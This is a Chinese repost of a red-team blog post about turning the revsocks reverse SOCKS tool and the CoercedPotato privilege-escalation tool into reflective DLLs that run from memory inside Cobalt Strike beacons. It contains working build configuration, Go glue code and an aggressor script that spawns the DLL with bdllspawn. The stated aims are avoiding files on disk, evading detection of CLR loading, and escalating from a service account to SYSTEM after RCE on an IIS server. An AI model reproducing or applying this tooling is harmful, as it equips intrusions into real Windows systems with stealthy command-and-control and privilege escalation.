语境
这篇博文旨在解决我在使用 Cobalt Strike 开源工具时遇到的问题。
在安全评估过程中,我经常依赖用 Python、C#、Go 或 C/C++ 开发的工具。开源工具通常是为了生成不太适合红队参与的 PE 文件而构建的,因为我们更愿意避免在磁盘上上传和执行文件。对于Python工具,我们需要一个SOCKS代理,但C2 SOCKS非常慢,因为SOCKS流量超过了信标的出口C2流量。
在这篇博文中,我将展示如何移植 2 个工具,以便它们生成一个反射 DLL (RDLL),该 DLL 可在 CobaltStrike 中使用并从内存执行所有内容。
Golang-revsocks
为了克服 SOCKS 延迟问题,我使用了revsocks的修改版本。Revsocks 分为两部分:服务器和客户端。服务器侦听传入连接并在建立有效连接时启动 SOCKS 服务器。
回到 2019 年,@ EthicalChaos发表了一篇关于如何将 Golang 工具与 Cobalt Strike 结合使用的博文(将您最喜欢的 Go 程序武器化为 Cobalt Strike),并发布了goreflect,这是一个从 Go 项目生成 RDLL 的模板。
我在 Linux 机器上使用这个模板时遇到了一些问题,所以我将解释我做了什么才能让它工作。
首先,我们将编译一个 Golang 程序,因此 PE 将相当大。因此,我们需要增加可延展配置文件中的任务大小限制,以便将 RDLL 传输到信标
set tasks_max_size "5048576";
现在克隆模板 Github 存储库
git clone https://github.com/CCob/goreflect
然后修改CMakeLists.txt添加以下标志
project (goreflect)
#Dependency to add simple Go support to CMake
include(${CMAKE_SOURCE_DIR}/cmake/GolangSimple.cmake)
# flags for cross compilation
set(CMAKE_C_COMPILER x86_64-w64-mingw32-gcc)
set(GOOS windows)
set(GARCH amd64)
set (DIST_DIR ${CMAKE_SOURCE_DIR}/dist)
我删除了以下几行
#Your favorite go tool definition
GO_GET(gobuster github.com/OJ/gobuster)
我将其添加到文件末尾以创建最终的 RDLL 文件
add_custom_command(
TARGET goreflect POST_BUILD
COMMAND ${CMAKE_COMMAND} -E copy
${CMAKE_BINARY_DIR}/libgoreflect.so
${DIST_DIR}/revsocks.dll)
我重命名了参考文献gobuster以匹配revsocks。
由于 revsocks 不是作为库开发的,因此我们不能只解析 RDLL 的参数并将它们传递给 revsocks API。
//export start
func start(arg string) {
args, err := gsq.Split(arg)
args = append([]string{"goreflect"}, args...)
os.Args = args
// parse arg
// ...
// doesn't exist
revsocks.startclient(args.host, args.port, ....)
rclient.go我们需要将(来自 revsocks)中定义的函数复制到goreflect.go并在程序的主程序中调用它们.
func connectviaproxy(proxyaddr string, connectaddr string) net.Conn {
// ...
}
func connectForSocks(tlsenable bool, verify bool, address string, proxy string) error {
// ....
}
//export start
func start(arg string) {
//parse our monolithinc argument string into individual args
args, err := gsq.Split(arg)
//our first argument is usally the program name, to just fake it
args = append([]string{"goreflect"}, args...)
if err == nil {
//replace os.Args ready for calling our go program
os.Args = args
connect := flag.String("connect", "", "connect address:port")
proxy := flag.String("proxy", "", "proxy address:port")
optproxytimeout := flag.String("proxytimeout", "", "proxy response timeout (ms)")
proxyauthstring := flag.String("proxyauth", "", "proxy auth Domain/user:Password ")
optuseragent := flag.String("useragent", "", "User-Agent")
optpassword := flag.String("pass", "", "Connect password")
recn := flag.Int("recn", 3, "reconnection limit")
rect := flag.Int("rect", 30, "reconnection delay")
flag.Usage = func() {
fmt.Println("revsocks - reverse socks5 server/client")
fmt.Println("")
flag.PrintDefaults()
fmt.Println("")
fmt.Println("Usage:")
fmt.Println("1) Start on the client: revsocks -listen :8080 -socks 127.0.0.1:1080 -pass test")
fmt.Println("3) Connect to 127.0.0.1:1080 on the client with any socks5 client.")
}
// parse os.Args
flag.Parse()
//run our go program
if *connect == "" {
flag.Usage()
os.Exit(0)
}
// call to connectForSocks or something else...
准备就绪后goreflect.go,您可以构建项目并且它应该生成dist/revsocks.dll.
cd cmake
cmake ..
make
现在我们可以创建一个 Cobalt Strike agressor 脚本来执行我们的 RDLL:
beacon_command_register("Revsocks", "Socks5 with NTLM proxy support",
"Connect Usage: Revsocks -connect 20.20.20.20:443 -pass Password1\n");
alias Revsocks {
local('$bid', '$args');
$bid = $1;
$args = substr($0, 9);
if ($args eq "") {
berror($bid, "Please specify an argument string");
return;
}
blog($bid, "Spawn Revsocks as a Reflective DLL with args\n$args\n");
bdllspawn($bid, script_resource("dist/revsocks.dll"), $args, "Revsocks", 5000, false);
}
CNA 准备就绪后,将其加载到 Cobalt Strike 中并在信标中调用 Revsocks 函数.
你应该在 revsocks 服务器上收到回调.
用于权限升级的 CoercedPotato
在最近的一次合作中,我和我的队友在 Windows IIS 服务器上获得了 RCE(我将就此发表专门的博文),最终我们在服务器上获得了一个作为 NT 本地服务帐户的信标。
我们成功地使用GodPotato获得execute-assembly了SYSTEM信标。然而,当它在 Cobalt Strike 产生的牺牲过程中execute-assembly加载时,很容易被发现。CLR.dll
我想有另一个不使用的解决方案execute-assembly,所以我开始使用反射 DLL 加载。
两个月前,CoercedPotato发布,它是一个 C++ 工具,因此可以轻松移植到 RDLL。
我克隆了该存储库并将Stephen Fewer RDLL 库集成到其中。
没有太多可谈的,除了我不得不将项目分成两部分
RPC 服务器/命名管道
强制客户
我没有成功通过 RDLL 生成 RPC 服务器CreateThread,因此我决定首先加载 RDLL 来生成它,然后再次加载它以强制进行系统身份验证。
我删除了代码的某些部分,以仅保留 MS-RPRN 强制。
您可以在我的 Github CoercedPotatoRDLL上找到代码。https://github.com/sokaRepo/CoercedPotatoRDLL
原文地址:
https://sokarepo.github.io/redteam/2023/10/11/create-reflective-dll-for-cobaltstrike.html
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里